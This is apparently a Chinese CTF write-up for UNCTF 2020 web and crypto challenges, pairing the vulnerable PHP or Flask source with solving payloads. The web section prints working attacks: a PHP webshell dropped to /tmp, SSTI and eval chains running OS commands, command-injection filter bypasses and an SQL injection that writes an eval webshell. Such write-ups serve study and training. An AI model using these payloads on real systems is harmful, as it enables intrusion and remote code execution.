记一下

UNCTF 2020

web

easy_ssrf

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

直接目录穿越 payload:

1
?url=unctf.com/../../../../../../flag

easyunserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

反序列化字符逃逸 正常序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct()
{
$this->uname='admin';
$this->password=1;
}

}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$ser=serialize(new a());
echo $ser;
// O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";i:1;}

需要添加的字符串 长度29

1
";s:8:"password";s:4:"easy";}

替换后会由9变成13 长度变长4 列方程

1
9m + 29 = 13m

除不尽 尝试增加需要添加的字符串的长度

1
";s:8:"password";s:4:"easy";}aaa

此时 m= 8 即增加8个challenge payload:

1
?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

babyeval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>

payload:

1
2
?a=`echo PD9waHAgCmV2YWwoJF9QT1NUWzFdKTsKPz4= | base64 -d > /tmp/moonback`;
?a=include '/tmp/moonback';

就成功getshell了 读flag.php

1
2
?a=include '/tmp/moonback';
POST: 1=system('cat f* | base64');

那个正则是可以绕过的 .不匹配换行 payload:

1
echo base64_encode(%0Ashell_exec(%0A"cat flag.php"))

ezphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}

直接反序列化不行 猜测在包含的时候改了 直接弱类型:

1
2
3
<?php
$a = array('username'=>0,'password'=>0);
echo serialize($a);

easyflask

扫目录发现

image-20201110231144966

注册登陆后发现有提示

1
2
3
<!--<p>

</p>-->

爆破secret key 没错了 找到一个项目 直接可以设置字典爆破 https://github.com/Paradoxis/Flask-Unsign

安装

1
pip3 install flask-unsign

指定字典爆破

1
flask-unsign --unsign -c eyJ1c2VybmFtZSI6Im1vb25iYWNrIn0.X6tlEw.hNFdL65ytP6FX5DjI_Bdn3shj28 --no-literal-eval -w pass.txt

生成字典

1
2
3
4
5
6
7
8
9
10
import string 

s = string.ascii_lowercase + string.digits
for i in s:
for j in s:
for m in s:
for n in s:
key = i+j+m+n
with open('1.txt','a+') as f:
f.write(key+'\n')

image-20201111145639535

加密不知道为啥不行 后来才知道 原来可以直接注册admin 进去之后会给hint 然后是ssti 贴一下大佬的 payload:

1
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(117)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen("id").read()

easyphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 <?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}

getVars();
if (isset($source)) {
highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

变量覆盖 sha1弱比较 payload:

1
?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000

只是对值进行了多虑 可以用键来rce

1
?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000&GLOBALS[var1;system('env');$a]=1

最后eval执行的就是

1
eval("$var1;system('env');$a='1';")

其他payload:

1
?source=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1=${$a($b)}&a=system&b=env

easy_upload

过滤

1
perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet

上传.htaccess

1
2
AddType application/x-httpd-p\
hp .gif

上传马

1
<?=`cat /*`;

不知道为啥\可以

UN’s_online_tools

空格过滤用%09

;过滤用||

cat过滤用ca\t

flag * 过滤用通配符????

payload:

1
127.0.0.1||ca\t%09/????

看下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_GET['url'])){
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
die("<strong><center>非法字符</center></strong>");
}
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<strong><center>非法字符</center></strong>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo($a);
}else{
echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
}
?>

ezfind

有个提示

1
if(!(is_file($name)===false)){flag}else{no flag}

payload:

1
2
?name=%00
?name[]=a

image-20201116201948388

is_file($name)不能等于flase有两种情况 一种是true 一种是空 后台应该限制了不能是文件 又一个trick

L0vephp

查看源代码发现:

1
<!-- B4Z0-@:OCnDf, -->

不知道是base85 哭了 解密之后是

1
get action

image-20201119132902261

读源码index.php base64过滤了换rot13 index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
$action = $_GET['action'];
if(isset($action))
{
if (preg_match("/base|data|input|zip|zlib/i",$action)){
echo "<script>alert('Hacker!!!')</script>";
}
else {
include("$action");
}
}
else
{
include("footer.php");
}

?>

flag.php

1
2
3
4
5
6
<?php

$flag = "unctf{7his_is_@_f4ke_f1a9}";

//hint:316E4433782E706870
?>

hint转16进制 1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 


error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}

foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}

@eval($code);
?>

原理:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

payload:

1
2
1nD3x.php?1[]=test&1[]=cat /flag_mdnrvvldb&2=system
POST: code=usort(...$_GET);

checkin-sql

看到这题立马想到了强网杯随便注 测了测过滤了

1
use select

查看所有数据库

1
1';SHOW DATABASES;

测了测 发现 set 和 prepare 同时出现时会被过滤 单独出现则不会过滤 按照之前的思路构造写shell

1
1';PREPARE mb from 0x73656c65637420273132333c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f6d6f6f6e6261636b2e70687027;EXECUTE mb;#

或者按照官方的wp

先创建存储过程

1
2
3
4
5
6
1';
create procedure `qq`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
;#

接着调用先前定义的存储过程

1
2
3
4
5
1';
call `qq`(@decoded, 0x3132333c3f706870206576616c28245f504f53545b315d293b3f3e);
prepare payload from @decoded;
execute payload;
;#

easy_flask2

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask,render_template,redirect,request,session,make_response
import config
import pickle
import io
import sys
import base64

class Person:
def __init__(self, name, is_admin):
self.name = name
self.is_admin = is_admin

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

app = Flask(__name__)
flag = "xxx"

@app.route("/")
def index():
app.config["SECRET_KEY"] = config.secret_key
return redirect("login")


@app.route("/login",methods=["GET","POST"])
def login():
if request.form.get('name'):
name = request.form.get('name')
person = Person(name,0)
pkl = pickle.dumps(person)
pkl = base64.b64encode(pkl)

resp = make_response(name)
resp.set_cookie('pkl',pkl)

session['name'] = name
session['is_admin'] = 0
return resp

else:
if session.get('name'):
if b'R' in base64.b64decode(request.cookies['pkl']):
return "RCE??"
person = pickle.loads(base64.b64decode(request.cookies['pkl']))
print(person.is_admin)
if session.get('is_admin') == 1:
#person = pickle.loads(base64.b64decode(request.cookies['pkl']))
if person.is_admin == 1:
return "HHHacker!Here is Your flag : " + flag
return render_template("index.html",name=session.get('name'))

else:
return render_template("login.html")

@app.route("/logout",methods=["GET","POST"])
def logout():
resp = make_response("success")
resp.delete_cookie("session")
resp.delete_cookie("pkl")
return resp

@app.route("/source")
def source():
return open('code.txt','r').read()


if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)

pickle反序列化 过滤了R无法用__reduce__直接rce了

crypto

easy_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import bytes_to_long

p = number.getPrime(1024)
q = number.getPrime(1024)
if p > q:
a = p + q
b = p - q
print(a,b)

n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = bytes_to_long(b'msg')
c = pow(m,e,n)
print(c)

#320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
#9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
#22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780

知道p+q和p-q能求出p和q 然后就能得到了 再复习一下加解密 m是明文,c是密文 n=p*q

加密

1
m^e ≡ c (mod N) # c = pow(m,e,n)

解密

1
c^d ≡ m (mod N) # m = pow(c,d,n)

鞍山大法官开庭之缺的营养这一块怎么补

题目

1
2
3
4
5
某日,鞍山大法官在点外卖时点了2个韭菜盒子,商家只送了1个,大法官给了该商家一个差评
次日,该大法官又在该商家点了1个韭菜盒子,希望商家能补上上次的韭菜盒子,而商家又只发了一个韭菜盒子
这名大法官一天正常要吃2个韭菜盒子,而该商家每天只给他1个韭菜盒子,请问该名大法官缺的营养这一块怎么补
ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto
flag格式:unctf{}

培根密码 字母大写

1
2
o -> a
t -> b

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
letters1 = [
'A', 'B', 'C', 'D', 'E', 'F', 'G',
'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T',
'U', 'V', 'W', 'X', 'Y', 'Z',
]
letters2 = [
'a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z',
]
cipher1 = [
"aaaaa", "aaaab", "aaaba", "aaabb", "aabaa", "aabab", "aabba",
"aabbb", "abaaa", "abaab", "ababa", "ababb", "abbaa", "abbab",
"abbba", "abbbb", "baaaa", "baaab", "baaba", "baabb",
"babaa", "babab", "babba", "babbb", "bbaaa", "bbaab",
]
cipher2 = [
"AAAAA", "AAAAB", "AAABA", "AAABB", "AABAA", "AABAB", "AABBA",
"AABBB", "ABAAA", "ABAAA", "ABAAB", "ABABA", "ABABB", "ABBAA",
"ABBAB", "ABBBA", "ABBBB", "BAAAA", "BAAAB", "BAABA",
"BAABB", "BAABB", "BABAA", "BABAB", "BABBA", "BABBB",
]


def bacon(string):
lists = []
# 分割,五个一组
for i in range(0, len(string), 5):
lists.append(string[i:i+5])
# print(lists)
# 循环匹配,得到下标,对应下标即可
for i in range(0, len(lists)):
for j in range(0, 26):
if lists[i] == cipher1[j]:
# print(j)
print(letters1[j], end="")
print("")


s = 'ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto'
flag=''
for i in s:
if i == 'o':
flag+='a'
else:
flag+='b'
bacon(flag)

简单的RSA

维纳攻击 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import libnum

def rational_to_contfrac (x, y):
'''
Converts a rational x/y fraction into
a list of partial quotients [a0, ..., an]
'''
a = x//y
if a * y == x:
return [a]
else:
pquotients = rational_to_contfrac(y, x - a * y)
pquotients.insert(0, a)
return pquotients
def convergents_from_contfrac(frac):
'''
computes the list of convergents
using the list of partial quotients
'''
convs = [];
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0:i]))
return convs

def contfrac_to_rational (frac):
'''Converts a finite continued fraction [a0, ..., an]
to an x/y rational.
'''
if len(frac) == 0:
return (0,1)
elif len(frac) == 1:
return (frac[0], 1)
else:
remainder = frac[1:len(frac)]
(num, denom) = contfrac_to_rational(remainder)
# fraction is now frac[0] + 1/(num/denom), which is
# frac[0] + denom/num.
return (frac[0] * num + denom, num)

def egcd(a,b):
'''
Extended Euclidean Algorithm
returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
'''
u, u1 = 1, 0
v, v1 = 0, 1
while b:
q = a // b
u, u1 = u1, u - q * u1
v, v1 = v1, v - q * v1
a, b = b, a - q * b
return u, v, a
def gcd(a,b):
'''
2.8 times faster than egcd(a,b)[2]
'''
a,b=(b,a) if a<b else (a,b)
while b:
a,b=b,a%b
return a
def modInverse(e,n):
'''
d such that de = 1 (mod n)
e must be coprime to n
this is assumed to be true
'''
return egcd(e,n)[0]%n
def totient(p,q):
'''
Calculates the totient of pq
'''
return (p-1)*(q-1)
def bitlength(x):
'''
Calculates the bitlength of x
'''
assert x >= 0
n = 0
while x > 0:
n = n+1
x = x>>1
return n
def isqrt(n):
'''
Calculates the integer square root
for arbitrary large nonnegative integers
'''
if n < 0:
raise ValueError('square root not defined for negative numbers')

if n == 0:
return 0
a, b = divmod(bitlength(n), 2)
x = 2**(a+b)
while True:
y = (x + n//x)//2
if y >= x:
return x
x = y

def is_perfect_square(n):
'''
If n is a perfect square it returns sqrt(n),

otherwise returns -1
'''
h = n & 0xF; #last hexadecimal "digit"

if h > 9:
return -1 # return immediately in 6 cases out of 16.
# Take advantage of Boolean short-circuit evaluation
if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
# take square root if you must
t = isqrt(n)
if t*t == n:
return t
else:
return -1

return -1

def hack_RSA(e,n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)

for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d

e= 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934

d = hack_RSA(e,n)
m = pow(c,d,n)
print(libnum.n2s(m))

wing

Windings2字体

img

一一对照就行

signin

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import random
from Crypto.Cipher import AES
from os import urandom
from string import printable
from binascii import hexlify
from secret import flag

random.seed(urandom(32))

key1 = '0'*13 + ''.join([random.choice(printable) for _ in range(3)])
key2 = ''.join([random.choice(printable) for _ in range(3)]) + '0'*13

cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)

pt = input("You have a chance to get something: ")
pt = pt.encode()

val = len(pt) % 16
if not val == 0:
pt += b'\x00'*(16 - val)

c1 = cipher1.encrypt(pt)
c2 = cipher2.encrypt(c1)
print('Your cipher:{}'.format(hexlify(c2)))

assert(len(flag) % 16 == 0)
c3 = cipher1.encrypt(flag)
c4 = cipher2.encrypt(c3)
print('Your flag:{}'.format(hexlify(c4)))

# You have a chance to get something: UNCTF2020_Enjoy_Crypto~
# Your cipher:b'01a4e429e76db218fa0eb18f03ec69c9200a2362d8b4d7ea46170ce698389bbd'
# Your flag:b'196cc94c2d685beb54beeaa14c1dc0a6f3794d65fca0d1a1274515166e4255ab367383092e42d774992f74bc138faaad'

UNCTF 2019

简单的备忘录

看到是graphql 这是个啥呢?

GraphQL 是一种针对 Graph(图状数据)进行查询特别有优势的 Query Language(查询语言),所以叫做 GraphQL。它跟 SQL 的关系是共用 QL 后缀,就好像「汉语」和「英语」共用后缀一样,但他们本质上是不同的语言。GraphQL 跟用作存储的 NoSQL 没有必然联系,虽然 GraphQL 背后的实际存储可以选择 NoSQL 类型的数据库,但也可以用 SQL 类型的数据库,或者任意其它存储方式(例如文本文件、存内存里等等)。

评论